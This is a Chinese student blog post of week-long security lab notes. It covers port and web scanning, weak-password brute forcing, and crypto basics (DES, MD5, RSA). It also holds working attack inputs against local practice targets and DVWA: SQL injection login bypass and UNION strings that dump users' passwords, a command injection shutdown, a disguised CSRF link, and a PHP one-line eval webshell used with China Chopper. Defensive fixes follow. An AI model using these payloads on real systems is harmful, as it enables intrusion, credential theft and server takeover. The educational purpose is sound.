MENU

信息安全实训 · 一周小记

• May 7, 2021 • Read: 1902 • 技术学习

2021/5/3

实训一:黑客入侵流程演练

使用Windows自带IIS搭建博网科技的主页作为实验靶站。
工具:局域网探查工具LanSee;端口扫描工具AdvancedPortScanner;御剑后台扫描;菜刀

「1.网络探查与端口扫描」

LanSee查看:
LanSee1
LanSee2

使用端口扫描工具AdvancedPortScanner对目标主机进行扫描:
AdvancedPortScanner

「2.Web扫描」

利用御剑后台扫描工具对目标网址进行扫描:
御剑后台扫描工具

利用网站漏洞扫描工具AWVS的web scanner功能对目标网址进行扫描:
AWVS
此外,AWVS(Acunetix Web Vulnerability Scanner)还具有web scanner和site crawler功能。

「3.漏洞利用」

通过扫描出来的后台目录,我们得知网站后台管理页面目录名是“admin”,可以在这个位置使用常见的渗透方式进行尝试。

①经典弱口令

尝试admin用户名+弱口令的方式进行轮询尝试,得到弱口令:admin

②SQL注入

如:先填入单引号'进行登录,若报错则说明系统具有缺陷。此时用户名输入' or 1 or '可通过插入SQL语句的方式重构SQL代码,从而绕过验证。
在此方法中,输入的内容由于审查逻辑的缺陷,会被整个传入后台SQL语句中,为了利用此漏洞,我们可以构造这样一个语句:两端的单引号将后台的固定语句闭合以避免报错,中间的核心部分重构了语句,使得无需判断password即可获得权限登入admin的账户。

③留言板注入漏洞

利用留言板对字符过滤不严谨的漏洞,在留言板提交代码:

效果:该漏洞允许HTML标签嵌入网站的评论部分。嵌入式标签成为页面的永久功能,每当页面打开时,浏览器就会用源代码的其余部分解析它们。也就是说,以后每位用户访问此页面时都会被自动转到指定的URL(如上文的古天乐绿了!),给网络安全带来极大的隐患。

「4.上传木马」

一句话木马

网站的上传功能是用户和服务器之间进行文件交互的重要渠道,若上传的安全策略有漏洞,会给服务器安全带来极大的影响。
如广为人知的“一句话木马”,本是方便管理员远程维护的工具,但由于权限的完整,被利用造成的危害也是巨大的。
本次使用aspx版本木马,内容仅为一句代码,在本地创建文件后,上传至服务器。接着使用“中国菜刀”连接这个后门:
aspx一句话木马
上传文件
连接成功后就能完全控制服务器中的所有文件:
使用菜刀
连接成功


2021/5/4

实训二&三:信息加密与信息摘要/哈希函数

信息的加密可以应对截获、篡改和伪造等中间人攻击,故在互联网安全中,信息的加密也是极为重要。
对于信息的加密方式,目前可以从密钥角度分成主流的两类:对称式加密和非对称式加密。
工具:Hash Tool;DES Tool;RSA Tool

「1.DES加密算法」
DES对称加密。DES对称加密,是一种比较传统的加密方式,其加密运算、解密运算使用的是同样的密钥,信息的发送者和信息的接收者在进行信息的传输与处理时,必须共同持有该密码(称为对称密码),是一种对称加密算法。
DES算法使用56位的密钥及附加的8位奇偶校验位,分组大小最大64位,输入明文,在64位密钥的控制下产生64位的密文。

DES的安全性

依赖于密钥,DES的编码过程可使每个密文比特都是所有明文比特和所有密钥比特的复杂混合函数,而要达到这一要求至少需要DES迭代5轮。卡方检验证明:DES迭代8轮以后,就可认为输出输入不相关。
DES的密钥太短,其长度为56bit,致使密钥量=2^56≈10^17,不能抵抗穷举攻击,随着计算机算力的提升证明的确如此。

「2.三重DES」
DES的密钥长度被证明已经不能满足当前安全的要求,但是为了特定情况下的使用,简单的方案就是多次使用DES,比如三重DES。
三重DES就是使用两个个密钥利用DES对明文进行三次加密,三重DES可以增加密钥量。

三重DES的优点

1.密钥长度从增加,克服穷举
2.增强了抗差分分析和线性分析
3.可以继续使用DES
4.成本少,作为DES安全性下降的临时替代方案

「3.MD5加密算法」
MD5信息摘要算法(MD5 Message-Digest Algorithm),于1992年公开,用以取代MD4算法。一种被广泛使用的密码散列函数,属于对称加密。可以产生出一个128位(16字节)的散列值(hash value),用于确保信息传输完整一致。可以形象地比喻成数据/文件的“指纹”。
1996年后MD5和SHA-1这两种应用最为广泛的数字签名加密算法都被山东大学的数学教授王小云证实存在弱点,可以破解。
2004年,证实MD5算法无法防止碰撞(collision),因此不适用于安全性认证,如SSL公开密钥认证或是数字签名等。

MD5算法原理

MD5码以512位分组来处理输入的信息,且每一分组又被划分为16个32位子分组,经过了一系列的处理后,算法的输出由四个32位分组组成,将这四个32位分组级联后将生成一个128位散列值。

「4.RSA加密算法」
RSA是1977年由罗纳德·李维斯特(Ron Rivest)、阿迪·萨莫尔(Adi Shamir)和伦纳德·阿德曼(Leonard Adleman)一起提出的。当时他们三人都在麻省理工学院工作。RSA就是他们三人姓氏开头字母拼在一起组成的。
理论基础:在公开密钥密码体制中,加密密钥(即公开密钥)PK是公开信息,而解密密钥(即秘密密钥)SK是需要保密的。加密算法E和解密算法D也都是公开的。虽然解密密钥SK是由公开密钥PK决定的,但却不能根据PK计算出SK。

RSA运作原理

通常是先生成一对RSA密钥,其中之一是保密密钥(私钥),由用户保存;另一个为公开密钥(公钥),可对外公开,甚至可在网络服务器中注册。为提高保密强度,RSA密钥至少为500位长,一般推荐使用1024位。这就使加密的计算量很大。为减少计算量,在传送信息时,常采用传统加密方法与公开密钥加密方法相结合的方式,即信息采用改进的DES或IDEA对话密钥加密,然后使用RSA密钥加密对话密钥和信息摘要。对方收到信息后,用不同的密钥解密并可核对信息摘要。

算法原理

根据数论,寻求两个大素数并求乘积比较简单,而将它们的乘积进行因式分解却极其困难,因此可以将乘积公开作为加密密钥。
目前的依赖:大数分解。最明显直接的攻击方法就是大数分解,我们缺少一种针对大数分解的算法,而破解RSA基本可等价于此算法。

来自量子计算机的威胁

量子计算机基于量子比特(如光量子)而非电子进行运算,由于微观量子态的特性,使得其可拥有指数级增长的巨量算力。有相当存储功能的量子计算机若调用Shor算法,是可以在极短的时间内将1024位RSA暴力破解的,可谓是闲庭信步。


2021/5/5

实训四:身份认证与访问控制

在搭建靶机上进行爆破测试。
工具:FTP工具;弱口令检查工具;ITCLUB博客;博客MD5加密模块

「1.弱口令爆破」

在本地搭建FTP服务,使用admin用户名,密码设置为admin@123,在检查工具中选择用户名字典和密码字典,可以在很短的时间内爆破成功:
弱口令爆破

本地SQL Server服务,使用sa+sa的搭配方式,成功爆破:
弱口令爆破

「2.口令强度判断」
为了避免弱口令的爆破,我们最基本的方式是需要对口令的设置设定一个复杂性限制。
C++
经典DEV

前台简单判断:
博客判断
博客判断

「3.口令强度后台加强」
在博客前端加密用户填写的口令,使用MD5加密加盐后的口令,存入数据库。加盐是一种辅助的加密方式,可以有效避免用户输入弱口令后生成的MD5被爆破的风险。
CSDN在2011年12月21日被黑客公开了泄露的用户数据库,密码全部明文存储,这便是前人的教训。
MD5嵌套加盐


2021/5/6

实训五:Web漏洞利用

使用DVWA - Damn Vulnerable Web Application进行漏洞的寻找和利用。
工具:DVWA(Low);phpStudy;菜刀

「1.SQL注入绕过登录密码」
进入Brute Force界面,测试登陆框是否存在注入,提交敏感字符测试程序是否报错。
输入用户名admin'
此时观察登录系统时地址栏中的sql语句,在用户名密码提交界面上通过注入逻辑语句admin' or 1 =1 =='使登录判断失效,进入受保护页面。
SQL注入
注入成功

「2.命令注入」
打开Command Injection,该界面提供一个命令行执行环境,输入ip地址返回ping命令的结果。
利用Windows和Linux都可以用&&在同一行执行多条命令的特性,尝试注入附加命令使目标主机(延时)关机:
命令注入
成功执行

「3.跨站请求伪造」
打开CSRF界面,输入新密码后发现地址栏使用了Get方式提交命令,我们可以人工写入命令,表达出更改指定新密码的命令,接着诱导目标点击该链接。为了提高伪装性,可使用短链接进行伪装:
http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change#
-->
http://u8s.net/m9zfn

「3.文件上传木马」
建立文件“PHP一句话木马”:<?php @eval($_POST['pass']);?>
得到上传服务器后的路径后,打开中国菜刀配置信息添加木马路径及密码。
双击网址进入文件管理。(注:这里可以进行文件管理,数据库管理,虚拟终端或运行自写脚本)
PHP木马

「4.SQL注入查询数据库」
打开SQL Injection界面,该界面的功能是通过输入User ID查询Username。输入敏感命令1’提交,将返回一个错误。
输入1' union select 1,database()#提交,得到数据库名称:
注入
我们拥有了查询数据库的权限,那么输入1' union select 1,concat(user,password) from users#,就能得到users表的所有用户名和密码。
查询密码
密码使用MD5加密,但没有加盐,弱口令可以使用暴力破解或遍历查询出来。

「5.跨站脚本」
反射型:打开XSS(DOM)界面,修改地址栏中的default属性为,回车后命令被执行,说明此处有漏洞。和前者一样,可以是哟个短链接伪装并诱导打开执行,多用于cookies的窃取。

存储型:打开XSS(Stored)界面,在message栏中填入,提交后内容被存入数据库,之后每次进入该页面命令都会被执行。


2021/5/7

实训六:Web安全加固

使用策略加固网站安全性。
工具:ITCLUB博客,菜刀

「1.SQL注入防范」

在用户登录界面用户名处输入万能密码admin' or 1=1 --',密码处输入任意字符,点击登录,不能绕过后台登录系统。
SQL注入失败

注入失败原因

项目使用PreparedStatement方法完成SQL语句的执行,该方法要求在执行SQL语句之前,必须告诉JDBC哪些值作为输入参数,解决了普通Statement方法的注入问题,极大的提高了SQL语句执行的安全性。

「2.跨站攻击防范」

编写代码,在用户提交留言时将<和>分别替换为>和<,可防止用户提交代码嵌入HTML中:
替换字符

「3.上传攻击防范」

在后台限制上传后缀:
限制上传格式
简单的判断后缀而不判断内容,依然可以上传木马,并使用菜刀执行:
由于编码不支持,成功进入后台但访问受限,然而木马执行是成功的
图片格式木马

「网络安全 · 攻防心得」

网络安全是世界的关注焦点,目前全球互联网的安全建立在HTTPS(HTTP over SSL)上,利用对称加密、公私钥不对称加密及其密钥交换算法,CA系统进行加密且可信任的信息传输。保障了所有网络信息传输的基本安全。TLS的主要目标是使SSL更安全,并使协议的规范更精确和完善。
尽管有这些精妙的协议保护了传输,但针对服务器的DDoS攻击、局域网ARP攻击、0Day“零日”漏洞攻击等还是层出不穷,缺少有效的防御方式。面对网络,我们需要有认真严谨的态度,它是看不见的第三战场,并将在未来持续显露出它的影响力。随着全球经济日益融合,网络安全的重要性已是不言而喻。
互联网是自由的、开放的。1987年的9月20日,中国第一封电子邮件从北京一栋小楼发出——“Across the Great Wall we can reach every corner in the world”(“越过长城,走向世界”)。
越过长城,我们终将走出世界。翻过了长城的我们、翻过了长城的中国和翻过了长城的世界发生了翻天覆地的变化,同时也是我们接下这一挑战和重担的历史一刻——于长远的未来,我们将为世界奉献并共同承担着,这一称之为“安全”的绝对基石。

Have fun in Cyberspace and Meetspace──

Leave a Comment

4 Comments
  1. snowflakes snowflakes

    额,写挺好

    1. @snowflakes谢谢你~

  2. 你写的什么玩意啊?真别写了

    1. @青空要骂就骂我吧@(泪)@(泪)@(泪)别骂博主了@(泪)@(泪)@(泪)